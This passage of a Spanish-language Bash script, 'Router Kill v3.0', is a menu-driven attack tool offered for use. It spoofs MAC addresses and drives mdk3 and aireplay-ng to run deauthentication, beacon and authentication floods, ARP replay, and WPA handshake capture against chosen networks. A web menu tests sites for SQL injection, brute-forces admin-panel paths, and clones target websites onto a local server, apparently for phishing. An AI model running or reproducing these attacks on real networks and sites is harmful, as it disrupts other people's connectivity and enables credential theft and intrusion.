108 | wno=$'\e[1;35mClonar web entera\e[01;32m' 109 | wback=$'\e[1;35mBack Menu\e[01;32m' 110 | 111 | #directory verification 112 | directory=$(pwd) 113 | 114 | #verificacion de Dependencias.. 115 | 116 | #root privilegies 117 | if [[ $EUID -ne 0 ]]; then 118 | 119 | echo -e "$nc($violeta2*$nc)$rojo ERROR:$azul No eres usuario$rojo root" 120 | exit 1 121 | fi 122 | 123 | #airmon-ng 124 | if which airmon-ng >/dev/null; then 125 | sleep 0.25 126 | echo -e "$azul(airmon-ng)$verde Instalado correctamente." 127 | else 128 | sleep 0.25 129 | echo -e "$azul(airmon-ng)$verde NO instalado.." 130 | sleep 1 131 | echo -e "$nc instala escribiendo$verde apt-get install aircrack-ng -y" 132 | sleep 0.25 133 | exit 1 134 | fi 135 | 136 | if which airodump-ng >/dev/null; then 137 | sleep 0.25 138 | echo -e "$azul(airodump-ng)$verde Instalado correctamente." 139 | else 140 | sleep 0.25 141 | echo -e "$azul(airodump-ng)$verde no Instalado" 142 | sleep 1 143 | echo -e "$nc instala escribiendo$verde apt-get install aircrack-ng -y" 144 | exit 1 145 | fi 146 | 147 | if which mdk3 >/dev/null; then 148 | sleep 0.25 149 | echo -e "$azul(MDK3)$verde Instalado correctamente." 150 | sleep 0.25 151 | else 152 | sleep 0.25 153 | echo -e "$azul(MDK3)$verde No instalado." 154 | sleep 1 155 | echo -e "$nc instala escribiendo$verde apt-get install mdk3 -y" 156 | exit 1 157 | fi 158 | 159 | 160 | if which macchanger >/dev/null; then 161 | sleep 0.25 162 | echo -e "$azul(Macchanger)$verde Instalado correctamente." 163 | sleep 0.25 164 | else 165 | sleep 0.25 166 | echo -e "$azul(Macchanger)$verde no instalado." 167 | sleep 1 168 | echo -e "$nc instala escribiendo$verde apt-get install macchanger -y" 169 | exit 1 170 | fi 171 | 172 | if which toilet >/dev/null; then 173 | sleep 1 174 | echo -e "$azul(Toilet)$verde Instalado correctamente." 175 | else 176 | sleep 1 177 | echo -e "$azul(TOilet)$verde No instalado" 178 | sleep 1 179 | echo -e "$nc instala escribiendo$verde apt-get install toilet -y" 180 | sleep 1 181 | exit 1 182 | fi 183 | 184 | #mensaje y logo bienvenida 185 | clear 186 | toilet --filter border Router Kill | lolcat 187 | echo 188 | echo -e "$violeta2(*)$azul Router Kill$rojo v3.0$azul" 189 | sleep 2 190 | echo -e "$violeta2(*)$azul Script creado por$rojo Facu Salgado" 191 | sleep 1 192 | echo -e "$violeta2(*)$azul Regalanos una estrella en github$verde" 193 | 194 | export PS3=$'\e[01;35m(*)\e[01;32m Elige una Opcion:\e[01;33m ' 195 | 196 | 197 | 198 | 199 | function verificarsqli(){ 200 | sleep 1 201 | echo -e "$violeta2(*)$azul Esta funcion le permitira saber si un sitio es vulnerable a$rojo SQL Injection" 202 | sleep 3 203 | echo 204 | echo 205 | echo -e "$violeta2(*)$azul Debe ingresar la pagina de la siguiente manera:" 206 | echo -e "$violeta2(*)$azul You need to enter the page as follows:" 207 | sleep 3 208 | echo -e "$violeta2(*)$azul Ejemplo:$rojo dominio.com$violeta2/pagina.php?parametro=1" 209 | echo -e "$violeta2(*)$azul Example:$rojo domain.com$violeta2/page.php?parameter=1" 210 | sleep 3 211 | echo 212 | echo 213 | echo -e "$violeta2(*)$azul Example:$rojo domain.com$violeta2/login.php?id=1" 214 | echo -e "$violeta2(*)$azul Ejemplo:$rojo domain.com$violeta2/login.php?id=1" 215 | sleep 2 216 | echo 217 | echo 218 | printf "\e[01;35m Escriba la pagina:\e[01;32m " 219 | read page 220 | echo 221 | echo -e "$purpura(*)$blue verificando$rojo SQLI VULNERABILITY$azul Please Wait.." 222 | sleep 4 223 | 224 | 225 | #solicitud GET al sitio 226 | dork="'" 227 | i2=0 228 | sqli=$(curl -H "Accept: application/xml" -H "Content-Type: application/xml" --silent -X GET "$page$dork") 229 | 230 | #Verification fallas SQL en la consulta GET 231 | 232 | if echo "$sqli" | grep -q -i "You have an error in your SQL syntax"; then 233 | i2=$((i2+1)) 234 | fi 235 | 236 | if echo "$sqli" | grep -q -i "mysql_fetch_array"; then 237 | i2=$((i2+1)) 238 | fi 239 | 240 | if echo "$sqli" | grep -q -i "mysqli_fetch_array"; then 241 | i2=$((i2+1)) 242 | fi 243 | 244 | if echo "$sqli" | grep -q -i "mysql_num_rows"; then 245 | i2=$((i2+1)) 246 | fi 247 | 248 | if echo "$sqli" | grep -q -i "Warning: mysq"; then 249 | i2=$((i2+1)) 250 | fi 251 | 252 | #Verification Variable C si es mayor a 0 significa que es vulnerable 253 | 254 | if [[ $i2 > 0 ]] 255 | then 256 | echo 257 | echo 258 | echo -e "$azul Pagina$violeta2 $page$verde Is vulnerable a$azul SQLI Injection$verde" 259 | else 260 | echo 261 | echo 262 | echo -e "$azul Pagina$violeta2 $page$rojo Is not vulnerable a$azul SQLI Injection$verde" 263 | sleep 2 264 | fi 265 | menu_principal 266 | } 267 | 268 | 269 | 270 | 271 | 272 | function obtenerpanel(){ 273 | 274 | #Verifica el archivo de directorios para el ataque 275 | 276 | if [ -e $directory/directorys.txt ] 277 | then 278 | echo 279 | else 280 | curl https://raw.githubusercontent.com/byteSalgado/router-kill/master/directorys.txt > $directory/directorys.txt 281 | fi 282 | echo -e "$violeta2(*)$azul Debe ingresar la pagina de la siguiente manera:" 283 | echo -e "$violeta2(*)$azul You need to enter the page as follows:" 284 | sleep 3 285 | echo 286 | echo 287 | echo -e "$violeta2(*)$azul Ejemplo:$rojo dominio.com" 288 | echo -e "$violeta2(*)$azul Example:$rojo domain.com" 289 | sleep 3 290 | echo 291 | echo 292 | echo -e "$violeta2(*)$azul No debe incluir subdirectorios como por ejemplo:$rojo dominio.com/hola/" 293 | echo -e "$violeta2(*)$azul It should not include subdirectories such as:$rojo domain.com/hello/" 294 | sleep 4 295 | echo 296 | echo 297 | echo -e "$violeta2(*)$azul Tampoco debe incluir ninguna barra diagonal$rojo(/)" 298 | echo -e "$violeta2(*)$azul It also must not include any forward slashes$rojo(/)" 299 | sleep 4 300 | echo 301 | echo 302 | printf "\e[01;35m Escriba la pagina/domain:\e[01;32m " 303 | read pagina 304 | 305 | while read line 306 | do 307 | 308 | 309 | #obtiene codigo de respuesta y lo guarda en la variable result 310 | 311 | result=$(curl -s -I "$pagina/$line" | head -n 1 | awk '{print $2}') 312 | 313 | #inicia variable en 0 314 | i=0 315 | 316 | #si el codigo respuesta es 200 o 302 le suma +1 a la variable 317 | 318 | if [[ "$result" == "200" ]]; then 319 | i=$((i+1)) 320 | elif [[ "$result" == "302" ]]; then 321 | i=$((i+1)) 322 | fi 323 | 324 | #si la variable es mayor a 0 significa que el panel fue encontrado. 325 | 326 | if [[ $i > 0 ]] 327 | then 328 | echo -e "$azul Pagina$rojo $pagina$violeta2/$line$verde Found" 329 | sleep 2 330 | echo 331 | echo -e "$azul Posible panel de la pagina: $verde$pagina/$line$verde" 332 | sleep 3 333 | echo 334 | echo 335 | break 336 | else 337 | echo -e "$azul Pagina$rojo $pagina$violeta2/$line$rojo Not Found" 338 | fi 339 | done < $directory/directorys.txt 340 | echo -e "$violeta2(*)$azul volviendo al menu principal.." 341 | sleep 3 342 | menu_principal 343 | } 344 | 345 | function webmenu(){ 346 | 347 | 348 | select webmenu in "$w1" "$w2" "$w3" "$w4"; 349 | do 350 | case $webmenu in 351 | $w1) 352 | echo 353 | echo 354 | echo -e "$violeta2(*)$azul Verificando estado$verde apache2" 355 | sleep 2 356 | #check Apache 357 | if which apache2 >/dev/null; then 358 | sleep 1 359 | echo -e "$azul(apache2)$verde Instalado" 360 | else 361 | sleep 1 362 | echo -e "$azul(apache2)$verde No instalado" 363 | sleep 2 364 | echo -e "$azul(apache2)$verde Instalando apache2 en 5 segundos.." 365 | sleep 5 366 | apt-get install apache2 -y 367 | clear 368 | fi 369 | echo -e "$violeta2(*)$azul A continuacion escoga si desea clonar el index o el sitio entero..$verde" 370 | sleep 3 371 | echo 372 | echo 373 | select tipoclone in "$wyes" "$wno" "$wback"; 374 | do 375 | case $tipoclone in 376 | $wyes) 377 | if [ -e $directory/index.html ] 378 | then 379 | rm $directory/index.html 380 | fi 381 | echo 382 | echo 383 | echo -e "$violeta2(*)$azul A continuacion ingrese el sitio web sin subdominios" 384 | sleep 3 385 | echo -e "$violeta2(*)$azul Ejemplo:$rojo mipagina.com" 386 | sleep 2 387 | printf "\e[01;35m Escriba el sitio/domain:\e[01;32m " 388 | read targetwebsite 389 | echo -e "$violeta2(*)$azul Clonando Website:$rojo $targetwebsite$azul Please wait.." 390 | sleep 3 391 | curl --silent $targetwebsite >> $directory/index.html 392 | mv $directory/index.html /var/www/html/ 393 | sleep 1 394 | echo -e "$violeta2(*)$azul Sitio web:$rojo $targetwebsite$azul Clonado exitosamente..." 395 | sleep 3 396 | echo -e "$violeta2(*)$azul para ver el sitio dirigase a su navegador y coloque$violeta2 http://localhost$verde" 397 | sleep 3 398 | echo -e "$violeta2(*)$azul Volviendo al menu principal..$verde" 399 | sleep 2 400 | menu_principal 401 | ;; 402 | 403 | $wno) 404 | rm -rf /var/www/html/* 405 | sleep 1 406 | echo -e "$violeta2(*)$azul esta opcion clonara el sitio web entero de RAIZ.." 407 | sleep 3 408 | echo 409 | echo 410 | echo -e "$violeta2(*)$azul A continuacion ingrese el sitio web sin subdominios" 411 | sleep 3 412 | echo -e "$violeta2(*)$azul Ejemplo:$rojo mipagina.com" 413 | sleep 2 414 | printf "\e[01;35m Escriba el sitio/domain:\e[01;32m " 415 | read targetwebsite2 416 | echo -e "$violeta2(*)$azul Clonando Website:$rojo $targetwebsite2$azul Please wait.." 417 | sleep 3 418 | cd /var/www/html 419 | wget -q --header="Accept: text/html" --user-agent="Mozilla/5.0 (X11; Linux amd64; rv:32.0b4) Gecko/20140804164216 ArchLinux KDE Firefox/32.0b4" --referer=http://www.google.com -r $targetwebsite2 -e robots=off -k 420 | cd $directory 421 | echo -e "$violeta2(*)$azul sitio web$rojo $targetwebsite2$azul clonado exitosamente.." 422 | sleep 3 423 | echo -e "$violeta2(*)$azul para ver el sitio dirigase a su navegador y coloque$violeta2 http://localhost$verde" 424 | sleep 3 425 | echo -e "$violeta2(*)$azul Volviendo al menu principal..$verde" 426 | sleep 2 427 | menu_principal 428 | 429 | ;; 430 | 431 | $wback) 432 | echo -e "$violeta2(*)$azul Volviendo al menu principal..$verde" 433 | sleep 3 434 | menu_principal 435 | ;; 436 | *) 437 | echo -e "$rojo(ERROR)$azul $REPLY $verde Opcion no valida $verde" 438 | ;; 439 | esac 440 | done 441 | ;; 442 | 443 | $w2) 444 | echo -e "$violeta2(*)$azul Please wait..$verde" 445 | sleep 3 446 | obtenerpanel 447 | ;; 448 | 449 | $w3) 450 | 451 | echo -e "$violeta2(*)$azul Please wait..$verde" 452 | sleep 3 453 | verificarsqli 454 | ;; 455 | $w4) 456 | echo -e "$violeta2(*)$azul Volviendo al menu principal..$verde Please wait.." 457 | sleep 3 458 | menu_principal 459 | ;; 460 | *) 461 | echo -e "$rojo(ERROR)$azul $REPLY $verde Opcion no valida $verde" 462 | ;; 463 | esac 464 | done 465 | } 466 | 467 | 468 | 469 | 470 | 471 | 472 | 473 | 474 | 475 | 476 | 477 | 478 | 479 | 480 | 481 | 482 | 483 | 484 | #menu principal 485 | 486 | function menu_principal(){ 487 | echo 488 | echo 489 | select menu in "$a" "$b" "$c" "$new" "$d" "$e" "$new2" "$update" "$f"; 490 | do 491 | case $menu in 492 | 493 | $a) 494 | echo -e "$nc($azul*$nc)$verde Este Ataque desautenticara todos los clientes dentro de la red" 495 | sleep 2 496 | echo -e "$nc($azul*$nc)$verde le mostraremos sus interfaces de red disponibles" 497 | sleep 2 498 | echo 499 | echo 500 | ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' 501 | sleep 1 502 | printf "\e[01;35m Escriba su interface:\e[01;32m " 503 | read interface 504 | #cambio de dirección mac 505 | echo -e "$nc($azul*$nc)$verde A continuacion daremos de baja tu interfaz para falsificar tu MAC" 506 | sleep 2 507 | ifconfig $interface down 508 | echo -e "$nc($azul*$nc)$verde Falsificando tu MAC!!" 509 | sleep 2 510 | macchanger -r $interface 511 | ifconfig $interface up 512 | echo -e "$nc($azul*$nc)$verde TU direccion MAC fue falsificada correctamente!!" 513 | sleep 2 514 | echo -e "$nc($azul*$nc)$verde Ahora iniciaremos el modo monitor en tu interfaz" 515 | sleep 2 516 | airmon-ng start $interface 517 | pkill dhclient && pkill wpa_supplicant 518 | echo -e "$nc($azul*$nc)$verde Modo monitor iniciado correctamente" 519 | sleep 2 520 | echo -e "$nc($azul*$nc)$verde Ahora haremos un analisis de las redes disponibles" 521 | sleep 2 522 | echo -e "$nc($azul*$nc)$rojo AVISO: Espera 10 segundos$verde cuando inicie el analisis" 523 | sleep 9 524 | timeout --foreground 12s airodump-ng $interface$mon 525 | echo 526 | echo 527 | printf "\e[01;35m Escriba el BSSID de la red:\e[01;32m " 528 | read bssid 529 | printf "\e[01;35m Escriba el canal de la red (CH):\e[01;32m " 530 | read ch 531 | sleep 2 532 | printf "\e[01;35m Escriba el nombre txt para guardar el BSSID:\e[01;32m " 533 | read doc 534 | echo $bssid > $doc 535 | sleep 2 536 | printf "\e[01;35m Añade la duracion del ataque en segundos:\e[01;32m " 537 | read sec 538 | sleep 2 539 | echo -e "$nc($azul*$nc)$verde El ataque sera realizado al BSSID:$azul $bssid $verde En el Canal: $ch" 540 | sleep 2 541 | echo -e "$nc($azul*$nc)$verde el ataque Iniciara en 5 segundos.." 542 | sleep 1 543 | echo "4 segundos.." 544 | sleep 1 545 | echo "3 segundos.." 546 | sleep 1 547 | echo "2 segundos.." 548 | sleep 1 549 | echo "1 segundo" 550 | sleep 1 551 | echo -e "$nc($azul*$nc)$rojo Ataque Iniciado..$verde Tiempo restante de ataque:$azul $sec$verde Segundos $nc" 552 | timeout --foreground $sec$s mdk3 $interface$mon d -b $doc -c $ch 553 | echo -e "$nc($azul*$nc)$verde el ataque ha Finalizado..$amarillo" 554 | sleep 2 555 | echo -e "$nc($azul*$nc)$verde Deteniendo modo monitor$verde" 556 | sleep 2 557 | airmon-ng stop $interface$mon 558 | menu_principal 559 | ;; 560 | 561 | $b) 562 | 563 | 564 | echo -e "$nc($azul*$nc)$verde Este Ataque Creara un flood de redes WIFI" 565 | sleep 2 566 | echo -e "$nc($azul*$nc)$verde le mostraremos sus interfaces de red disponibles" 567 | sleep 2 568 | echo 569 | echo 570 | ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' 571 | sleep 1 572 | echo 573 | printf "\e[01;35m Escriba su interfaz:\e[01;32m " 574 | read interface 575 | sleep 2 576 | echo -e "$nc($azul*$nc)$verde Ahora iniciaremos el modo monitor en tu interfaz" 577 | sleep 2 578 | airmon-ng start $interface 579 | pkill dhclient && pkill wpa_supplicant 580 | echo -e "$nc($azul*$nc)$verde Modo monitor iniciado correctamente" 581 | echo 582 | printf "\e[01;35m Escriba tiempo de ataque en segundos:\e[01;32m " 583 | read sec 584 | sleep 2 585 | echo -e "$nc($azul*$nc)$verde el ataque comenzara en 5 segundos.." 586 | sleep 1 587 | echo "4 segundos" 588 | sleep 1 589 | echo "3 segundos" 590 | sleep 1 591 | echo "2 segundos" 592 | sleep 1 593 | echo "1 segundos" 594 | sleep 1 595 | echo -e "$nc($azul*$nc)$rojo ATAQUE INICIADO..$verde Tiempo restante de ataque:$azul $sec$verde Segundos $nc" 596 | timeout --foreground $sec$s mdk3 $interface$mon b 597 | echo -e "$nc($azul*$nc)$verde el ataque ha Finalizado..$amarillo" 598 | sleep 2 599 | echo -e "$nc($azul*$nc)$verde Deteniendo modo monitor$verde" 600 | sleep 2 601 | airmon-ng stop $interface$mon 602 | menu_principal 603 | ;; 604 | 605 | 606 | $c) 607 | 608 | echo -e "$nc($azul*$nc)$verde Este Ataque realizara un flood de intentos de conexion al router" 609 | sleep 2 610 | echo -e "$nc($azul*$nc)$verde le mostraremos sus interfaces de red disponibles" 611 | sleep 2 612 | echo 613 | echo 614 | ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' 615 | sleep 1 616 | echo 617 | printf "\e[01;35m EScriba su interfaz:\e[01;32m " 618 | read interface 619 | airmon-ng start $interface 620 | pkill dhclient && pkill wpa_supplicant 621 | echo -e "$nc($azul*$nc)$verde Modo monitor iniciado correctamente" 622 | sleep 2 623 | echo -e "$nc($azul*$nc)$verde Ahora haremos un analisis de las redes disponibles" 624 | sleep 2 625 | echo -e "$nc($azul*$nc)$rojo AVISO: Espera 20 segundos$verde cuando inicie el analisis" 626 | sleep 9 627 | timeout --foreground 20s airodump-ng $interface$mon 628 | echo 629 | printf "\e[01;35m EScribe el BSSID de la red:\e[01;32m " 630 | read bssid 631 | sleep 2 632 | printf "\e[01;35m Escribe un nombre para guardar en txt\e[01;32m " 633 | read doc 634 | echo $bssid > $doc 635 | echo 636 | printf "\e[01;35m Añade el canal de la red (CH):\e[01;32m " 637 | read ch 638 | printf "\e[01;35m AÑade el ESSID de la red:\e[01;32m " 639 | read essid 640 | sleep 1 641 | read -p "Añade la duracion del ataque en segundos ➜ " sec 642 | sleep 2 643 | echo -e "$nc($azul*$nc)$verde El ataque comenzara en 5 segundos.." 644 | sleep 1 645 | echo "4 segundos" 646 | sleep 1 647 | echo "3 segundos" 648 | sleep 1 649 | echo "2 segundos" 650 | sleep 1 651 | echo "1 segundos" 652 | sleep 1 653 | echo -e "$nc($azul*$nc)$rojo Ataque Iniciado..$verde Tiempo restante de ataque:$azul $sec$verde Segundos $nc" 654 | sleep 2 655 | timeout --foreground $sec$s mdk3 $interface$mon a -a $doc 656 | echo -e "$nc($azul*$nc)$verde el ataque ha Finalizado..$amarillo" 657 | sleep 2 658 | echo -e "$nc($azul*$nc)$verde Deteniendo modo monitor$verde" 659 | sleep 2 660 | airmon-ng stop $interface$mon 661 | menu_principal 662 | 663 | 664 | 665 | ;; 666 | 667 | $new) 668 | 669 | echo -e "$nc($azul*$nc)$verde Este Ataque realizara un flood de intentos de conexion al router" 670 | sleep 2 671 | echo -e "$nc($azul*$nc)$verde le mostraremos sus interfaces de red disponibles" 672 | sleep 2 673 | echo 674 | echo 675 | ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' 676 | sleep 1 677 | echo 678 | printf "\e[01;35m su interfaz:\e[01;32m " 679 | read interface 680 | echo -e "$nc($azul*$nc)$verde Modificaremos su direccion MAC" 681 | ifconfig $interface down 682 | macchanger -r $interface 683 | val=$(ifconfig $interface | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}') 684 | echo -e "$nc($azul*$nc)$verde Direccion MAC falsificada" 685 | sleep 2 686 | echo -e "$nc($azul*$nc)$verde Iniciando modo monitor.." 687 | sleep 3 688 | airmon-ng start $interface 689 | pkill dhclient && pkill wpa_supplicant 690 | echo -e "$nc($azul*$nc)$verde Modo monitor iniciado correctamente" 691 | sleep 2 692 | echo -e "$nc($azul*$nc)$verde Ahora haremos un analisis de las redes disponibles" 693 | sleep 2 694 | echo -e "$nc($azul*$nc)$rojo AVISO: Espera 20 segundos$verde cuando inicie el analisis" 695 | sleep 9 696 | timeout --foreground 20s airodump-ng $interface$mon 697 | echo 698 | printf "\e[01;35m Añade el BSSID de la red:\e[01;32m " 699 | read bssid 700 | echo 701 | printf "\e[01;35m Añade el canal de la red (CH):\e[01;32m " 702 | read ch 703 | printf "\e[01;35m Añade duracion del ataque en segundos:\e[01;32m " 704 | read sec 705 | sleep 2 706 | echo -e "$nc($azul*$nc)$verde El ataque comenzara en 5 segundos..." 707 | sleep 1 708 | echo "4 segundos" 709 | sleep 1 710 | echo "3 segundos" 711 | sleep 1 712 | echo "2 segundos" 713 | sleep 1 714 | echo "1 segundos" 715 | sleep 1 716 | echo -e "$nc($azul*$nc)$rojo Ataque Iniciado..$verde Tiempo restante de ataque:$azul $sec$verde Segundos $nc" 717 | sleep 2 718 | timeout --foreground $sec$s xterm -hold -e "airodump-ng --bssid $bssid -c $ch $interface$mon" & 719 | sleep 1 720 | timeout --foreground $sec$s xterm -hold -e "aireplay-ng --fakeauth 2 -a $bssid -c $val $interface$mon" & 721 | sleep 1 722 | timeout --foreground $sec$s xterm -hold -e "aireplay-ng --arpreplay -b $bssid -h $val $interface$mon" 723 | echo -e "$nc($azul*$nc)$verde el ataque ha Finalizado..$amarillo" 724 | sleep 2 725 | echo -e "$nc($azul*$nc)$verde Deteniendo modo monitor$amarillo" 726 | sleep 2 727 | airmon-ng stop $interface$mon 728 | menu_principal 729 | 730 | 731 | ;; 732 | 733 | $d) 734 | 735 | checkmode=$(ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d') 736 | 737 | #Verification mode monitor and exit 738 | 739 | if [[ $checkmode == *wlan0mon* ]] 740 | then 741 | airmon-ng stop wlan0mon 742 | echo -e "$nc($azul*$nc)$verde Modo monitor detenido..$nc" 743 | sleep 1 744 | fi 745 | 746 | if [[ $checkmode == *eth0mon* ]] 747 | then 748 | airmon-ng stop eth0mon 749 | echo -e "$nc($azul*$nc)$verde Modo monitor detenido..$nc" 750 | sleep 1 751 | fi 752 | 753 | if [[ $checkmode == *wlan1mon* ]] 754 | then 755 | airmon-ng stop wlan1mon 756 | echo -e "$nc($azul*$nc)$verde Modo monitor detenido..$nc" 757 | sleep 1 758 | fi 759 | echo -e "$nc($azul*$nc)$verde Volviendo al menu principal$verde" 760 | sleep 2 761 | menu_principal 762 | 763 | ;; 764 | 765 | $e) 766 | 767 | echo -e "$nc($azul*$nc)$verde Este Ataque capturara un handshake de una RED" 768 | sleep 2 769 | echo -e "$nc($azul*$nc)$verde Les mostraremos sus interfaces disponibles" 770 | sleep 2 771 | ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d' 772 | sleep 1 773 | echo 774 | printf "\e[01;35m Escriba su interfaz:\e[01;32m " 775 | read interface 776 | echo -e "$nc($azul*$nc)$verde Ahora iniciaremos el modo monitor en tu interfaz" 777 | sleep 2 778 | airmon-ng start $interface 779 | pkill dhclient && pkill wpa_supplicant 780 | echo -e "$nc($azul*$nc)$verde Modo monitor iniciado correctamente" 781 | sleep 2 782 | echo -e "$nc($azul*$nc)$verde Ahora haremos un analisis de las redes disponibles" 783 | sleep 2 784 | echo -e "$nc($azul*$nc)$verde AVISO: Espera 25 segundos$verde cuando inicie el analisis" 785 | sleep 9 786 | timeout --foreground 25s airodump-ng $interface$mon 787 | echo 788 | echo 789 | printf "\e[01;35m Añade el BSSID victima:\e[01;32m " 790 | read bssid 791 | sleep 2 792 | printf "\e[01;35m Añade el canal de la red (CH):\e[01;32m " 793 | read ch 794 | sleep 2 795 | printf "\e[01;35m Añade el un nombre para guardar el txt:\e[01;32m " 796 | read doc 797 | echo $bssid > $doc 798 | sleep 2 799 | read -p "Añade la duracion del ataque(deauth) en segundos ➜ " sec 800 | sleep 2 801 | echo -e "$nc($azul*$nc)$verde El ataque sera realizado al BSSID:$azul $bssid $verde En el Canal: $ch" 802 | sleep 2 803 | echo -e "$nc($azul*$nc)$verde el ataque Iniciara en 5 segundos.." 804 | sleep 1 805 | echo "4 segundos.." 806 | sleep 1 807 | echo "3 segundos.." 808 | sleep 1 809 | echo "2 segundos.." 810 | sleep 1 811 | echo "1 segundo" 812 | sleep 1 813 | timeout --foreground 2s airodump-ng --bssid $bssid -c $ch $interface$mon 814 | echo -e "$nc($azul*$nc)$verde ejecutando xterm en 5 segundos.." 815 | sleep 5 816 | timeout --foreground 30s xterm -hold -e "aireplay-ng --deauth 0 -a $bssid $interface$mon" & 817 | timeout --foreground 60s xterm -hold -e "airodump-ng -w handshake/$doc.cap --bssid $bssid -c $ch $interface$mon" 818 | echo -e "$nc($azul*$nc)$verde El handshake fue capturado exitosamente PATH:$azul handshake/$doc.cap" 819 | sleep 4 820 | echo -e "$nc($azul*$nc)$verde el ataque ha Finalizado..$amarillo" 821 | sleep 2 822 | echo -e "$nc($azul*$nc)$verde Deteniendo modo monitor$verde" 823 | sleep 2 824 | airmon-ng stop $interface$mon 825 | menu_principal 826 | 827 | 828 | 829 | ;; 830 | 831 | $new2) 832 | echo -e "$nc($azul*$nc)$verde Please wait.." 833 | sleep 3 834 | echo 835 | echo 836 | webmenu 837 | 838 | ;; 839 | 840 | $update) 841 | 842 | echo -e "$nc($azul*$nc)$verde Comprobando estado internet.. please wait.." 843 | sleep 4 844 | if ping -q -w 1 -c 1 google.com > /dev/null; then 845 | echo -e "$nc($azul*$nc)$verde Actualizando programa.. en 5 segundos.." 846 | sleep 5 847 | if [ -e $directory/routerkill.sh ] 848 | then 849 | rm $directory/routerkill.sh 850 | fi 851 | curl https://raw.githubusercontent.com/byteSalgado/router-kill/master/routerkill.sh > routerkill.sh 852 | echo -e "$nc($azul*$nc)$verde Programa Actualizado.. vuelva a ejecutarlo nuevamente..$nc" 853 | sleep 2 854 | exit 855 | else 856 | echo 857 | echo 858 | echo -e "$nc($azul*$nc)$verde Internet no disponible.. saliendo..$nc" 859 | exit 860 | fi 861 | ;; 862 | $f) 863 | 864 | checkmode=$(ifconfig -a | sed 's/[ \t].*//;/^\(lo\|\)$/d') 865 | 866 | #Verification mode monitor and exit 867 | 868 | if [[ $checkmode == *wlan0mon* ]] 869 | then 870 | airmon-ng stop wlan0mon 871 | echo -e "$nc($azul*$nc)$verde Modo monitor detenido..$nc" 872 | sleep 1 873 | fi 874 | 875 | if [[ $checkmode == *eth0mon* ]] 876 | then 877 | airmon-ng stop eth0mon 878 | echo -e "$nc($azul*$nc)$verde Modo monitor detenido..$nc" 879 | sleep 1 880 | fi 881 | 882 | if [[ $checkmode == *wlan1mon* ]] 883 | then 884 | airmon-ng stop wlan1mon 885 | echo -e "$nc($azul*$nc)$verde Modo monitor detenido..$nc" 886 | sleep 1 887 | fi 888 | echo -e "$nc($azul*$nc)$verde Gracias por usar nuestro Script $azul by Facu Salgado..$nc" 889 | sleep 2 890 | exit 891 | ;; 892 | 893 | 894 | *) 895 | echo -e "$rojo(ERROR)$azul $REPLY $verde Opcion no valida $verde" 896 | ;; 897 | esac 898 | done 899 | } 900 | menu_principal 901 | --------------------------------------------------------------------------------